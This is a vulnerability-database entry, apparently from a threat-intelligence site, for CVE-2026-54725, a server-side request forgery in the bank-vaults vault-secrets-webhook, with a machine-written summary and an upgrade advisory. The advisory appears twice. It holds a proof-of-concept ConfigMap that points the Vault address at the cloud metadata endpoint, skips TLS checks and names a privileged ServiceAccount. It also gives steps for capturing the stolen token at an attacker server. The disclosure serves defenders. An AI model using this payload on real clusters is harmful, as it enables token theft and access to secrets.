CVE-2026-54725: CWE-918: Server-Side Request Forgery (SSRF) in bank-vaults vault-secrets-webhook
## Summary The vault-secrets-webhook reads the `vault.security.banzaicloud.io/vault-addr` annotation from any ConfigMap or Secret being admitted and uses it as the Vault server address without any validation or allowlist. When a ConfigMap or Secret contains a value prefixed with `vault:`, the webhook's admission handler synchronously calls the Vault API at the attacker-supplied address from inside the webhook process during the admission review. The webhook additionally grants `serviceaccounts/token:create` cluster-wide, and the `vault-serviceaccount` annotation controls which ServiceAccount's JWT is fetched and sent to that address. An attacker who can create ConfigMaps or Secrets in a watched namespace can cause the webhook process to make arbitrary outbound HTTP connections and exfiltrate ServiceAccount JWTs. ## Details `parseVaultConfig()` at `pkg/webhook/config.go:102-107` reads `VaultAddrAnnotation` unconditionally into `vaultConfig.Addr`: ```go if value, ok := annotations[common.VaultAddrAnnotation]; ok { vaultConfig.Addr = value } ``` No URL scheme validation, no hostname allowlist, no RFC-1918 or link-local filter. `MutateConfigMap` and `MutateSecret` at `pkg/webhook/configmap.go` and `pkg/webhook/secret.go` call `mw.newVaultClient(ctx, vaultConfig)` when the object contains at least one `vault:...` value. Inside `newVaultClient`, at `pkg/webhook/webhook.go:285`: ```go clientConfig.Address = vaultConfig.Addr ``` `vault.NewClientFromConfigWithContext` then opens an HTTP connection to the attacker-controlled address from the webhook server process, synchronously during the admission review. This is not deferred to a separate pod. The `vault-skip-verify` annotation (`pkg/webhook/config.go:197`) sets `InsecureSkipVerify: true` on the TLS config, eliminating the need for a valid certificate on the attacker's server. When `VaultServiceaccountAnnotation` is also set, at `pkg/webhook/webhook.go`: ```go mw.k8sClient.CoreV1().ServiceAccounts(vaultConfig.ObjectNamespace).CreateToken( ctx, saName, &tokenRequest, metav1.CreateOptions{}) ``` The webhook's ClusterRole (`deploy/charts/vault-secrets-webhook/templates/webhook-rbac.yaml`) grants `serviceaccounts/token:create` cluster-wide. The resulting JWT is then POSTed to `vaultConfig.Addr/v1/auth/<path>/login`. An attacker intercepts this JWT and replays it against the real Vault to access secrets bound to that ServiceAccount's Vault role. ## Proof of Concept Create a ConfigMap in any watched namespace: ```yaml apiVersion: v1 kind: ConfigMap metadata: name: ssrf-poc namespace: tenant-ns annotations: vault.security.banzaicloud.io/vault-addr: "http://169.254.169.254/latest/meta-data/" vault.security.banzaicloud.io/vault-skip-verify: "true" vault.security.banzaicloud.io/vault-serviceaccount: "high-priv-sa" data: secret-key: "vault:secret/data/test#value" ``` When this ConfigMap is created, the vault-secrets-webhook admission handler: 1. Parses the annotations and reads `vault-addr: http://169.254.169.254/latest/meta-data/` 2. Calls `CoreV1().ServiceAccounts(tenant-ns).CreateToken(ctx, "high-priv-sa", ...)` using cluster-wide `serviceaccounts/token:create` 3. Calls `vault.NewClientFromConfigWithContext` which POSTs the JWT to `http://169.254.169.254/latest/meta-data/v1/auth/kubernetes/login` 4. On AWS EKS with IMDSv1, the cloud metadata service receives the request from the webhook pod's IAM identity For the SA token theft path: run an HTTP server at the attacker-controlled `vault-addr` to capture the `Authorization: Bearer <JWT>` header from the login POST. ## Impact A user with `create` or `update` on ConfigMaps or Secrets in any namespace watched by the vault-secrets-webhook can: 1. Cause the webhook process (a cluster-wide privileged component) to make arbitrary outbound HTTP connections to any address including cloud IMDS 2. Exfiltrate ServiceAccount JWTs for any SA in their namespace, which can be replayed against the real Vault server to read secrets the SA's role is authorized to access The attack happens at admission time in the webhook server process, not in a user pod, and requires no special privileges beyond ConfigMap or Secret create/update rights.
AI Analysis
Technical Summary
The vault-secrets-webhook component of bank-vaults allows direct secret injection into Kubernetes Pods. Prior to version 1.23.1, the parseVaultConfig() function accepts a vault address annotation that can be controlled by an attacker. The webhook's MutateConfigMap and MutateSecret functions call newVaultClient with this address, potentially sending a ServiceAccount JWT to an attacker-controlled Vault endpoint. This SSRF vulnerability (CWE-918) enables attackers with limited privileges to escalate access and compromise secret data. The vulnerability has a CVSS 3.1 score of 9.6, indicating critical severity. The issue is resolved in version 1.23.1.
Potential Impact
Successful exploitation allows an attacker with at least limited privileges to cause the webhook to send Kubernetes ServiceAccount JWT tokens to an attacker-controlled Vault address. This can lead to unauthorized access to secrets, compromising confidentiality and integrity of sensitive data injected into Pods. The vulnerability does not impact availability. No known exploits in the wild have been reported.
Mitigation Recommendations
This vulnerability is fixed in vault-secrets-webhook version 1.23.1. Users should upgrade to version 1.23.1 or later to remediate the issue. No official patch or workaround is provided beyond upgrading. Since this is not a cloud service, remediation must be applied by users. Patch status is confirmed fixed in 1.23.1.
CVE-2026-54725: CWE-918: Server-Side Request Forgery (SSRF) in bank-vaults vault-secrets-webhook
Description
## Summary The vault-secrets-webhook reads the `vault.security.banzaicloud.io/vault-addr` annotation from any ConfigMap or Secret being admitted and uses it as the Vault server address without any validation or allowlist. When a ConfigMap or Secret contains a value prefixed with `vault:`, the webhook's admission handler synchronously calls the Vault API at the attacker-supplied address from inside the webhook process during the admission review. The webhook additionally grants `serviceaccounts/token:create` cluster-wide, and the `vault-serviceaccount` annotation controls which ServiceAccount's JWT is fetched and sent to that address. An attacker who can create ConfigMaps or Secrets in a watched namespace can cause the webhook process to make arbitrary outbound HTTP connections and exfiltrate ServiceAccount JWTs. ## Details `parseVaultConfig()` at `pkg/webhook/config.go:102-107` reads `VaultAddrAnnotation` unconditionally into `vaultConfig.Addr`: ```go if value, ok := annotations[common.VaultAddrAnnotation]; ok { vaultConfig.Addr = value } ``` No URL scheme validation, no hostname allowlist, no RFC-1918 or link-local filter. `MutateConfigMap` and `MutateSecret` at `pkg/webhook/configmap.go` and `pkg/webhook/secret.go` call `mw.newVaultClient(ctx, vaultConfig)` when the object contains at least one `vault:...` value. Inside `newVaultClient`, at `pkg/webhook/webhook.go:285`: ```go clientConfig.Address = vaultConfig.Addr ``` `vault.NewClientFromConfigWithContext` then opens an HTTP connection to the attacker-controlled address from the webhook server process, synchronously during the admission review. This is not deferred to a separate pod. The `vault-skip-verify` annotation (`pkg/webhook/config.go:197`) sets `InsecureSkipVerify: true` on the TLS config, eliminating the need for a valid certificate on the attacker's server. When `VaultServiceaccountAnnotation` is also set, at `pkg/webhook/webhook.go`: ```go mw.k8sClient.CoreV1().ServiceAccounts(vaultConfig.ObjectNamespace).CreateToken( ctx, saName, &tokenRequest, metav1.CreateOptions{}) ``` The webhook's ClusterRole (`deploy/charts/vault-secrets-webhook/templates/webhook-rbac.yaml`) grants `serviceaccounts/token:create` cluster-wide. The resulting JWT is then POSTed to `vaultConfig.Addr/v1/auth/<path>/login`. An attacker intercepts this JWT and replays it against the real Vault to access secrets bound to that ServiceAccount's Vault role. ## Proof of Concept Create a ConfigMap in any watched namespace: ```yaml apiVersion: v1 kind: ConfigMap metadata: name: ssrf-poc namespace: tenant-ns annotations: vault.security.banzaicloud.io/vault-addr: "http://169.254.169.254/latest/meta-data/" vault.security.banzaicloud.io/vault-skip-verify: "true" vault.security.banzaicloud.io/vault-serviceaccount: "high-priv-sa" data: secret-key: "vault:secret/data/test#value" ``` When this ConfigMap is created, the vault-secrets-webhook admission handler: 1. Parses the annotations and reads `vault-addr: http://169.254.169.254/latest/meta-data/` 2. Calls `CoreV1().ServiceAccounts(tenant-ns).CreateToken(ctx, "high-priv-sa", ...)` using cluster-wide `serviceaccounts/token:create` 3. Calls `vault.NewClientFromConfigWithContext` which POSTs the JWT to `http://169.254.169.254/latest/meta-data/v1/auth/kubernetes/login` 4. On AWS EKS with IMDSv1, the cloud metadata service receives the request from the webhook pod's IAM identity For the SA token theft path: run an HTTP server at the attacker-controlled `vault-addr` to capture the `Authorization: Bearer <JWT>` header from the login POST. ## Impact A user with `create` or `update` on ConfigMaps or Secrets in any namespace watched by the vault-secrets-webhook can: 1. Cause the webhook process (a cluster-wide privileged component) to make arbitrary outbound HTTP connections to any address including cloud IMDS 2. Exfiltrate ServiceAccount JWTs for any SA in their namespace, which can be replayed against the real Vault server to read secrets the SA's role is authorized to access The attack happens at admission time in the webhook server process, not in a user pod, and requires no special privileges beyond ConfigMap or Secret create/update rights.
CVSS v3.1
Score 9.6critical
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The vault-secrets-webhook component of bank-vaults allows direct secret injection into Kubernetes Pods. Prior to version 1.23.1, the parseVaultConfig() function accepts a vault address annotation that can be controlled by an attacker. The webhook's MutateConfigMap and MutateSecret functions call newVaultClient with this address, potentially sending a ServiceAccount JWT to an attacker-controlled Vault endpoint. This SSRF vulnerability (CWE-918) enables attackers with limited privileges to escalate access and compromise secret data. The vulnerability has a CVSS 3.1 score of 9.6, indicating critical severity. The issue is resolved in version 1.23.1.
Potential Impact
Successful exploitation allows an attacker with at least limited privileges to cause the webhook to send Kubernetes ServiceAccount JWT tokens to an attacker-controlled Vault address. This can lead to unauthorized access to secrets, compromising confidentiality and integrity of sensitive data injected into Pods. The vulnerability does not impact availability. No known exploits in the wild have been reported.
Mitigation Recommendations
This vulnerability is fixed in vault-secrets-webhook version 1.23.1. Users should upgrade to version 1.23.1 or later to remediate the issue. No official patch or workaround is provided beyond upgrading. Since this is not a cloud service, remediation must be applied by users. Patch status is confirmed fixed in 1.23.1.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- GitHub_M
- Date Reserved
- 2026-06-15T23:07:33.232Z
- Cvss Version
- 3.1
- State
- PUBLISHED
- Remediation Level
- null
Threat ID: 6a6cf74bbf32cb7a34294808
Added to database: 07/31/2026, 19:28:11 UTC
Last enriched: 07/31/2026, 19:34:35 UTC
Last updated: 07/31/2026, 19:58:55 UTC
Views: 33
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.